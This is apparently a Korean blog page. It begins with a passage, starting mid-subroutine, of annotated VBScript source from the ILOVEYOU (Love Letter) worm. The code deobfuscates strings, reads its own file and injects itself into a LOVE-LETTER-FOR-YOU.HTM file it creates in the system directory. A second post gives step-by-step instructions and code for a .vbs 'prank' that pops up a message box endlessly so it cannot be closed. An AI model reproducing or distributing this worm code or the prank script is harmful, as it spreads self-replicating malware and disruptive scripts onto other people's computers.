  dt4 = replace(dt1, chr(63) & chr(45) & chr(63), "/")
  dt5 = replace(dt4, chr(94) & chr(45) & chr(94), "\")
  dt2 = replace(dta2, chr(35) & chr(45) & chr(35), "'")
  dt2 = replace(dt2, chr(64) & chr(45) & chr(64), """")
  dt3 = replace(dt2, chr(63) & chr(45) & chr(63), "/")
  dt6 = replace(dt3, chr(94) & chr(45) & chr(94), "\")

  rem Opens a new file system object, which is used to read this specific
  rem script file, that will then be injected into the HTM document.
  Set fso = CreateObject("Scripting.FileSystemObject")
  Set c = fso.OpenTextFile(WScript.ScriptFullName, 1)

  lines = Split(c.ReadAll,vbcrlf)
  l1 = ubound(lines)

  rem Encodes all special characters of the script's HTM, as this script
  rem will be injected into the HTM file and executed.
  For n = 0 to ubound(lines)
    lines(n) = replace(lines(n), "'", chr(91) + chr(45) + chr(91))
    lines(n) = replace(lines(n), """", chr(93) + chr(45) + chr(93))
    lines(n) = replace(lines(n), "\", chr(37) + chr(45) + chr(37))

    If (l1 = n) Then
      lines(n) = chr(34) + lines(n) + chr(34)
    Else
      lines(n) = chr(34) + lines(n) + chr(34) & " & vbcrlf & _"
    End If
  Next

  rem Create the LOVE-LETTER-FOR-YOU.HTM file in the system directory.
  Set b = fso.CreateTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM")
  b.close

  rem Creates the HTM file from everything above.
  Set d = fso.OpenTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM", 2)
  d.write dt5
  d.write join(lines, vbcrlf)
  d.write vbcrlf
  d.write dt6
  d.close
End Sub

 

 

 

반응형
반응형

골탕먹이기 코드라고 볼 수 있다.

아래와 같은 코드를 작성하면, 이 프로그램을 실행시키면 닫을 수도 없도록 계속 무한 팝업창이 뜬다.

 

만드는 법은 매우 간단하다. 그저 Text파일을 생성하고 스크립트를 작성하고 .vbs 파일 확장명으로 저장하면 된다.

1. 텍스트 파일 만들기

2. 확장명 .vbs로 바꾸기 (아이콘 모양이 자동으로 변경된다)

참고로 확장명을 모두 보이게 하려면 파일의 상단탭에 "보기"에서 "파일 확장명"을 체크하면 된다.

3. 코드 작성

Do
x = MsgBox("hello", 16, "Monkey")
Loop

(결과) "Monkey" 라는 창이 뜨고, Hello가 보여지며 닫아도 계속 열릴 것이다.

    (종료하려면 작업관리자에서 프로세스를 끈다)

 

 

반응형
1···12131415161718···181

+ Recent posts